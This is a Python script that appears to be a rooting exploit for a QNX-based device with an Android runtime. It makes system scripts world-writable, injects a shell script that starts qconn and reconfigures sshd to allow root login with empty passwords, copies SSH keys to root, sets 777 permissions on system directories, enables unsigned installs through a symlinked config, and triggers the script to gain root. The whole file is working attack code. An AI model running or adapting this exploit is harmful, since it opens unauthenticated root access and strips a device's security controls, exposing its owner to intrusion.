
import os, sys, subprocess, shutil, time, re, random, json
from helpers import *

CURRENT_DIRECTORY = os.path.dirname(os.path.abspath(__file__))
ANDROID_RUNTIME_PACKAGE = "sys.android.gYABgKAOw1czN6neiAT72SGO.ns"
ANDROID_RUNTIME_DIR = "/apps/%s" % ANDROID_RUNTIME_PACKAGE
ANDROID_STARTUP_SCRIPT = "%s/native/scripts/start-android-core.sh" % ANDROID_RUNTIME_DIR
ANDROID_REPLACEABLE_SCRIPT = "%s/native/scripts/ls-oom-adj.sh" % ANDROID_RUNTIME_DIR
ANDROID_APP_ID = "com.amazon.venezia.andrBDf8ciHlJnqInA366fIKotA"

ANDROID_SYSTEM_USER = getImpersonation("user", "android_system")
APPS_USER = getImpersonation("user", "apps")
INTERNAL_STORAGE_USER = getImpersonation("group", "1000_shared")

OUTPUT_FILE = "/tmp/root_output.log"

# Before you call me dumb, i tried setting %s into a bash variable, 
# but the thing exploded so i rolled back to this, 
# which is less elegant but works fine. So here we are!
INJECTION_SCRIPT = """#!/bin/sh
export OUTPUT_FILE="%s"
slay qconn
/base/usr/sbin/qconn port=9090 >> \${OUTPUT_FILE} 2>&1 &
/apps/%s/native/system/xbin/btool >> \${OUTPUT_FILE} 2>&1 &
echo "$(date) : Root script executed." >> \${OUTPUT_FILE} 2>&1
touch /var/etc/ssh/sshd_config
echo "PermitRootLogin yes\nPermitEmptyPasswords yes\nPasswordAuthentication yes\nChallengeResponseAuthentication no\nStrictModes no\nSubsystem sftp /usr/libexec/sftp-server\n" > /var/etc/ssh/sshd_config
slay -fQ -sKILL sshd
/usr/sbin/sshd -D >> \${OUTPUT_FILE} 2>&1 &
echo "Root shell should be available" >> \${OUTPUT_FILE} 2>&1 &
cp -R /accounts/devuser/.ssh /root >> \${OUTPUT_FILE} 2>&1 &
chmod -R 777 /pps >> \${OUTPUT_FILE} 2>&1 &
chdmod -R 777 /var/android >> \${OUTPUT_FILE} 2>&1 &

echo "[platform]\nmodule = winchester2\n\n[installer]\nmodule = unsigned" > /tmp/sud.cfg
ln -sPf /tmp/sud.cfg /etc/system/config/sud.cfg >> \${OUTPUT_FILE} 2>&1 &
""" % (OUTPUT_FILE, ANDROID_RUNTIME_PACKAGE)

SYMLINK_CREATION = """
ln -sPf %s /base/scripts/ota_info_pps.sh >> %s 2>&1 &
""" % (ANDROID_REPLACEABLE_SCRIPT, OUTPUT_FILE)

def setupOutputFile():
    runAs('touch %s' % OUTPUT_FILE, APPS_USER)
    runAs('chmod 777 %s' % OUTPUT_FILE, APPS_USER)

def setPermissions():
    runAs('chmod 777 %s' % ANDROID_RUNTIME_DIR, APPS_USER)
    runAs('chmod 777 %s/native' % ANDROID_RUNTIME_DIR, APPS_USER)
    runAs('chmod 777 %s/native/scripts' % ANDROID_RUNTIME_DIR, APPS_USER)
    runAs('chmod 777 %s' % ANDROID_STARTUP_SCRIPT, APPS_USER)
    runAs('chmod 777 %s' % ANDROID_REPLACEABLE_SCRIPT, APPS_USER)

def restorePermissions():
    runAs('chmod 555 %s' % ANDROID_STARTUP_SCRIPT, APPS_USER)
    runAs('chmod 555 %s' % ANDROID_REPLACEABLE_SCRIPT, APPS_USER)
    runAs('chmod 750 %s/native/scripts' % ANDROID_RUNTIME_DIR, APPS_USER)
    runAs('chmod 750 %s/native' % ANDROID_RUNTIME_DIR, APPS_USER)
    runAs('chmod 755 %s' % ANDROID_RUNTIME_DIR, APPS_USER)

def writeModifiedFiles():
    setPermissions()
    replaceInFileAs(
    ANDROID_STARTUP_SCRIPT, 
    "# return an error on any failure",
    SYMLINK_CREATION,
    APPS_USER)

    writeFileAs(
        ANDROID_REPLACEABLE_SCRIPT, 
        INJECTION_SCRIPT,
        APPS_USER)

def backupOriginalFiles():
    runAs('cp %s %s/backups/start-android-core.sh.bak' % (CURRENT_DIRECTORY, ANDROID_STARTUP_SCRIPT), APPS_USER)
    runAs('cp %s %s/backups/ls-oom-adj.sh.bak' % (CURRENT_DIRECTORY, ANDROID_REPLACEABLE_SCRIPT), APPS_USER)
    runAs('chmod 777 %s/backups/start-android-core.sh.bak' % CURRENT_DIRECTORY, APPS_USER)
    runAs('chmod 777 %s/backups/ls-oom-adj.sh.bak' % CURRENT_DIRECTORY, APPS_USER)

# /apps/sys.android.gYABgKAOw1czN6neiAT72SGO.ns/native/scripts/start-android-core.sh
def restoreOriginalFiles():
    setPermissions()
    runAs('cp %s/backups/start-android-core.sh.bak %s' % (CURRENT_DIRECTORY, ANDROID_STARTUP_SCRIPT), APPS_USER)
    runAs('cp %s/backups/ls-oom-adj.sh.bak %s' % (CURRENT_DIRECTORY, ANDROID_REPLACEABLE_SCRIPT), APPS_USER)
    restorePermissions()

def backupOrRollbackFiles():
    if not os.path.exists('%s/backups' % CURRENT_DIRECTORY):
        runAs("mkdir %s/backups" % CURRENT_DIRECTORY, INTERNAL_STORAGE_USER)
        runAs("chmod 777 %s/backups" % CURRENT_DIRECTORY, INTERNAL_STORAGE_USER)

    if not os.path.exists('%s/backups/start-android-core.sh.bak' % CURRENT_DIRECTORY):
        backupOriginalFiles();
    else:
        restoreOriginalFiles();

def killAndroidRuntime():
    print("Stopping Android runtime...")
    if os.path.exists('/dev/android'):
        writeFileAs("/dev/android/lowmemorykiller", "shrink:-20", ANDROID_SYSTEM_USER)
        writeFileAs("/dev/android/lowmemorykiller", "shrink:-16", ANDROID_SYSTEM_USER)

    runAs('slay -fQ -sKILL init', getImpersonation("group", "1000"))
    time.sleep(1)
    runAs('slay -fQ -sKILL init', getImpersonation("user", "devuser"))
    
    runAs("touch /tmp/android_core_started_by_player", APPS_USER)

def startAndroidRuntime():
    print("Starting Android runtime...")
    startSystem("sys.android.gYABgKAOw1czN6neiAT72SGO.ns")
    time.sleep(2)
    invokeFocusApp("android")
    
def restartAndroidRuntime():
    killAndroidRuntime();
    startAndroidRuntime();

def launchAndroidApp():
    print("Launching Amazon app...")
    launchApp(ANDROID_APP_ID)
    waitForAndroidRuntime()
    #time.sleep(10)

def terminateAndroidApp():
    print("Terminating Amazon app...")
    terminateApp(ANDROID_APP_ID)
    time.sleep(3)

def triggerLinkedScript():
    print("Triggering linked script...")
    switchZone()
    time.sleep(3)

def checkForAppData():
    out, _ = runQnxCommandWait("""echo "echo '[ ! -e /accounts/1000/appdata/sys.android.gYABgKAOw1czN6neiAT72SGO.ns/data/apdata ]; echo RESULT::\$?' | /q/g_android_system" | /q/__apps""")
    if out:
        result = out.decode().strip()
        match = re.search(r'RESULT::(\d+)', result)
        return match.group(1) == "1"
    return False

def waitForAppData(timeout=60):
    print("Waiting for app data to be available...")
    start_time = time.time()
    while time.time() - start_time < timeout:
        if checkForAppData():
            print("App data is available!")
            return True
        time.sleep(1)
    print("Timeout waiting for app data.")
    return False

def waitForAndroidRuntime():
    print("Waiting for Android runtime to start...")
    waitForFileAs("/dev/android/epoll", getImpersonation("group", "nto"), timeout=60)
    print("Android epoll file detected, waiting for lowmemorykiller...")
    waitForFileAs("/dev/android/lowmemorykiller", getImpersonation("user", "android_root"), timeout=60)
    print("Android lowmemorykiller detected, waiting for our marker file...")
    waitForAppData(timeout=20)

# We clear the console.
print("\033[H\033[J", end="")

# First we backup, of if already backed up, we restore to have a clean state.
backupOrRollbackFiles();

# Setup our files for exploitation
writeModifiedFiles();

# Stop everything for restar
# terminateAndroidApp();

# Restart Android runtime to apply our changes
restartAndroidRuntime();

# Launch the exploit app to trigger our script
#launchAndroidApp();

# Trigger the linked script to gain root
triggerLinkedScript();

# Restore original files to avoid issues
restoreOriginalFiles();

# Terminate the exploit app again
#terminateAndroidApp();

# Restart Android runtime to apply original files
restartAndroidRuntime();